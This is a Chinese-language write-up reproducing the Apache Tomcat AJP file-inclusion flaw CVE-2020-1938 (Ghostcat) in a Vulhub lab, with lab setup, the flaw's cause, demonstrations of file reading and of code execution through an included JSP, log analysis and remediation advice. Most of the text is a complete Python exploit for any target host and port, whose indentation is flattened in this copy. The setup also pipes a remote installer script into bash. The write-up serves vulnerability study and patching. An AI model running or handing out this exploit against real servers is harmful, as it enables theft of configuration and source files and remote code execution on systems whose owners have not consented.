CVE-2020-1938漏洞复现（文末附EXP代码）
CVE-2020-1938 Apache Tomcat 文件包含漏洞复现
1 环境搭建
1.1 Vulhub靶机搭建
1.1.1 环境安装
（1）安装docker
$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
（2）安装Docker-Compose
$ pip install docker-compose
#如果没有pip需要先安装
$ yum -y install epel-release
$ yum -y install python-pip
$ pip --version # 查看pip版本
（3）安装Vulhub
$ git clone https://github.com/vulhub/vulhub.git
#如果没有Git需要先安装
$ yum install -y git
1.1.2 靶场使用
1.输入systemctl start docker 启动docker
2.输入systemctl status docker 查看docker状态
3.选择对应靶场进入，这里我们选择Tomcat下的CVE-2020-1938靶场
4.输入docker-compose up -d 启动靶场环境
5.输入docker ps查看容器id
6.输入docker exec -it docker-id /bin/bash 进入容器，这里我们docker-id为346b40c2c227
成功进入容器
7.在win10浏览器输入靶场ip查看是否启动成功
靶场启动成功
2 漏洞复现
2.1 影响版本
-
Apache Tomcat 9.x < 9.0.31
-
Apache Tomcat 8.x < 8.5.51
-
Apache Tomcat 7.x < 7.0.100
-
Apache Tomcat 6.x
2.2 漏洞原理
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者可通过构造特定参数读取webapp目录下的任意文件，如：webapp 配置文件或源代码等。
具体原理可参考：https://blog.csdn.net/SouthWind0/article/details/105147652/
AJP协议官方学习文档：http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
2.3 漏洞复现及日志分析
2.3.1 漏洞复现
用nmap查看开启端口（此处192.168.153.133为靶机ip）
可以看到8009端口的AJP协议是开启的，Tomcat版本<9.0.31，并且存在8009端口服务的开启，可以怀疑有CVE-2020-1938 Apache Tomcat文件包含漏洞的存在。
尝试使用EXP来读取Tomcat文件信息
成功读取Tomcat的Webapps下的文件web.xml
尝试在Tomcat的webapps文件夹下创建一个新的文档1.txt
此时再尝试使用EXP来读取该新建的文档
成功读取，我们再尝试在WEB-INF下创建新文档2.txt
尝试使用EXP来读取该文档
第一次直接读取2.txt，显示报错失败，第二次我们加上WEB-INF/2.txt后，成功读取，可以发现该漏洞使用EXP是默认读取webapps文件夹下ROOT的文件，而不是WEB-INF，所以需要加上路径WEB-INF/2.txt，读取web.xml同理。
假设我们通过文件上传漏洞上传了jsp脚本的txt文件，来尝试文件包含进行远程代码执行（RCE）（创建一个含jsp脚本的txt文件）
通过使用EXP来进行远程编译
第一次为正常的远程读取，第二次为远程文件包含远程编译，可以看出第一次读取出来的是未执行的脚本语法代码，第二次则直接远程执行了代码输出了Hello
2.3.2 日志分析
查看Tomcat的日志
使用EXP通过AJP协议读取，远程读取文件为/asdf，远程代码执行（RCE）为/hissec，状态码200为成功。
3 整改建议
1.将Tomcat版本升级至安全版本
2.找到配置文件server.xml，关闭8009端口（注释掉或删除掉）
附EXP代码：
#!/usr/bin/env python
# CNVD-2020-10487 Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
"SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
"SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
"ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = io.StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length + 1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", buffering=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers[
'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[
{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))